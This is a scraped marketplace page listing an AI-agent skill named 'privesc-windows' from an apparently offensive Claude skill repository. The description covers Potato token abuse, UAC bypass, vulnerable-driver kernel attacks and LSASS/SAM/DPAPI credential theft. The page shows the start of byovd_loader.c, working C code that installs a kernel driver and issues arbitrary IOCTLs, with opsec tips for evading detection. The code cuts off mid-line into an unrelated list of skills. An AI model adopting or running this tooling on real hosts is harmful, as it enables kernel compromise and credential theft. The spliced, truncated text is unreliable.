hypnguyen1209/offensive-claude / skills/privesc-windows
privesc-windows
FlaggedUse when escalating privileges on a Windows host — SeImpersonate Potato chains (GodPotato/PrintNotifyPotato), service & DLL hijacking, UAC bypass (fodhelper/ICMLuaUtil), kernel EoP + BYOVD (CVE-2025-29824), token-rights abuse, LSASS/SAM/DPAPI credential harvesting
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 10.6 KB |
| references/credential-harvesting.md | markdown | 7.7 KB |
| references/enumeration-triage.md | markdown | 8.2 KB |
| references/kernel-byovd.md | markdown | 9.1 KB |
| references/service-dll-hijacking.md | markdown | 7.7 KB |
| references/token-impersonation-potatoes.md | markdown | 7.8 KB |
| references/uac-bypass.md | markdown | 7.4 KB |
| scripts/byovd_loader.c | other | 2.6 KB |
| scripts/check_potato.py | script | 6.0 KB |
| scripts/service_hijack_audit.ps1 | script | 5.4 KB |
| scripts/uac_bypass.ps1 | script | 5.2 KB |
| scripts/win_privesc_triage.ps1 | script | 6.9 KB |
scripts/byovd_loader.c
View on GitHub/*
* byovd_loader.c - Generic Bring-Your-Own-Vulnerable-Driver harness.
*
* Installs a kernel driver as an SCM service, starts it, opens its device, and issues a
* parameterised DeviceIoControl (IOCTL + input buffer from hex argv) so you can drive arbitrary
* read/write drivers (e.g. ThrottleStop.sys / RTCore64.sys). Includes explicit stop + delete + file
* cleanup. Requires local Administrator (SeLoadDriverPrivilege).
*
* USAGE
* byovd_loader.exe install <ServiceName> <C:\path\driver.sys>
* byovd_loader.exe ioctl <\\.\DeviceName> <IOCTL_hex> <inbuf_hex> [outlen]
* byovd_loader.exe uninstall <ServiceName> [C:\path\driver.sys]
* # one-shot:
* byovd_loader.exe run <ServiceName> <C:\path\driver.sys> <\\.\Device> <IOCTL_hex> <inbuf_hex>
*
* BUILD (MSVC): cl /O2 byovd_loader.c
* BUILD (mingw): x86_64-w64-mingw32-gcc byovd_loader.c -o byovd_loader.exe -ladvapi32
*
* NOTES / OPSEC
* - Driver load is loud (Event 7045 kernel-mode driver) and persistent (on-disk .sys + service).
* ALWAYS uninstall after use; this tool deletes the service and optionally the .sys file.
* - VERIFY the driver is NOT on the Microsoft Vulnerable Driver Blocklist for the host build, and
* that HVCI / Memory Integrity is off, or NtLoadDriver will fail.
* - If your IOCTL patches an MSR (e.g. LSTAR) or DSE, restore the original value immediately or the
* box will BSOD. This harness only transports IOCTLs; the restore logic is your payload's job.
* - Authorized engagements only.
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static int enable_priv(LPCSTR priv) {
HANDLE tok; TOKEN_PRIVILEGES tp; LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &tok)) return 0;
if (!LookupPrivilegeValueA(NULL, priv, &luid)) { CloseHandle(tok); return 0; }
tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL ok = AdjustTokenPrivileges(tok, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(tok);
return ok && GetLastError() == ERROR_SUCCESS;
}
static int svc_install(const char *name, const char *path) {
SC_HANDLE scm = OpenSCManagerA(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (!scm) { printf("[-] OpenSCManager: %lu\n", GetLastError()); return 1; }
SC_HANDLE svc = CreateServiceA(scm, name, name, SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
path, NULL, NULL, NULL, NULL, NULL);
if (!svc) {
if (GetLastError() == ERROR_SRelated skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack." | Stars: 198k | Updated | Claude CodeCodex | Verified | Install |
| ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |